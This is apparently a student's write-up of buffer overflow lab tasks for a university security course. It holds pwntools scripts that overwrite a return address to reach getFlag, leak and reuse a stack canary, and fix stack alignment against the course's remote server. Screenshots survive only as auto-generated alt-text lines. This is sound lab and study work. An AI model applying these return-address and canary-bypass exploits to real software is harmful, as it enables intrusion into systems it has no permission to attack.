**Objectives**

You should be able to explain

* how buffer overflow attacks work
* how the computer knows which code to run
* how function calls work
* how code and data for a program is represented on disk and in memory

And be able to

* identify data on a stack frame
* find memory addresses of code/data (**symbols**)
* use pwntools to connect and communicate with a program, locally or on a network
* have a rough idea on how to mitigate/prevent buffer overflow attacks.

For each exercise, include

1. Short description of vulnerability
2. Source code showing how to exploit the vulnerability
   * e.g. Python script showing exploit through pwntools
3. Description of how the exploit works/what it does
   * Can be in the form of comments
4. The flag retrieve from the server
   * It'll be a string on the form INF226{...}.

**Task 00**

#!/usr/bin/python3

from pwn import \*

from pwn import p64

io = remote('inf226.puffling.no', 7000)

line = cyclic(16) + p64(0xc0ffee)

io.sendline(line)

recieved = io.recvall().decode()

flag = recieved.splitlines()[-1]

print(f'Flag 00: {flag}')

**Output**

A screen shot of a computer code

Description automatically generated

As the output shows, the flag for task 00 is INF226{s33kret c0de}.

**Vulnerability**

The buffer overflow vulnerability in this program lies in the fgets call, which reads the input to the program. There is no restriction on the size of input to the buffer, which means that an attacker can exploit it by inputing more than 16 bytes and thus overwrite the stack.

**Task 01**

#!/usr/bin/python3

from pwn import \*

from pwn import p64

io = remote('inf226.puffling.no', 7001)

# 00000000004011d6 <getFlag> from objdump -d ./01

line = cyclic(16) + p64(0x4011d6)

io.sendline(line)

recieved = io.recvall().decode()

flag = recieved.splitlines()[-1]

print(f'Flag 01: {flag}')

NTS: The ‘line’ variable does not have to be that specific address… idk why. Also works with others. Figure out why somehow.

**Output**

A screen shot of a computer code

Description automatically generated

As the output shows, the flag for task 01 is INF226{d3 h0ly gra1l}.

o

**Notes**

A screen shot of a computer program

Description automatically generated

The objdump for <getFlag> shows that the function begins at address 0x4011d6.

Plotting frames 01 into the XXXX, I see that the getFlag stack frame is of size 16:

A screenshot of a computer

Description automatically generated

**Task 02**

 #!/usr/bin/python3

from pwn import \*

from pwn import p64

io = remote('inf226.puffling.no', 7002)

io.recvuntil(b'? ')

io.sendline(b'24')

r = io.recvline()

canary = r.removeprefix(b"Here's a hint: ")

io.recvline()

io.send(cyclic(24) + p64(int(canary, 16)) + cyclic(8) + p64(0x40121B))

io.shutdown()

recieved = io.recvall().decode()

flag = recieved.splitlines()[-2]

print(f'Flag 02: {flag}')

A screen shot of a computer code

Description automatically generated

If I return to the top of getFlag, I get an impression of completing the capture without actually capturing the flag:

A screen shot of a computer

Description automatically generated

This is because the stack becomes disaligned after pushing the value in rbp registry onto stack (stack alignment becomes off by 8), and thus the system() function crashes.

We have to avoid this jumping past the address in which the instruction occurs:

A screen shot of a computer screen

Description automatically generated

The address of the instruction *after* push %rbp is 40121b (i.e. address of getFlag + 5). By returning here instead of the top of getFlag, we avoid the problem of stack disalignment.

Source: [ROP: *Solving the* system() *crash*](https://git.app.uib.no/inf226/23h/inf226-23h/-/wikis/lectures/ROP#solving-the-system-crash), 11:54 9/15/2023.

**TASK 03**

Responding with 32 A’s, I get output f7f9f600.

A computer screen shot of a computer program

Description automatically generated

If I input 33 and then 34 A’s I get seg. fault and the following response:

A computer screen with white text

Description automatically generated

*Is the* argv *address the address of the canary?*